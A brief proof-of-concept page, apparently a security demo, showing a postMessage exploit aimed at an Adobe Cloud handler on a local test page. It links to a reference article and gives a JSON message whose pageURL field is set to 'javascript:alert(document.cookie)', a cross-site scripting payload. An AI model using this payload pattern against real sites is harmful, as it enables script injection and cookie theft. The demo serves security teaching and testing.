postMessage Exploit Adobe Cloud
For further information on HTML 5 postMessage vulnerabilities see:
http://appcheck-ng.com/html-5-security/
Target Window:
http://127.0.0.1/vulnerable_code/example_target.html
"{\"action\":\"targetjsHandShakeAck\",\"config\":{\"updatePageURL\":1,\"pageURL\":\"javascript:alert(document.cookie)\"}}"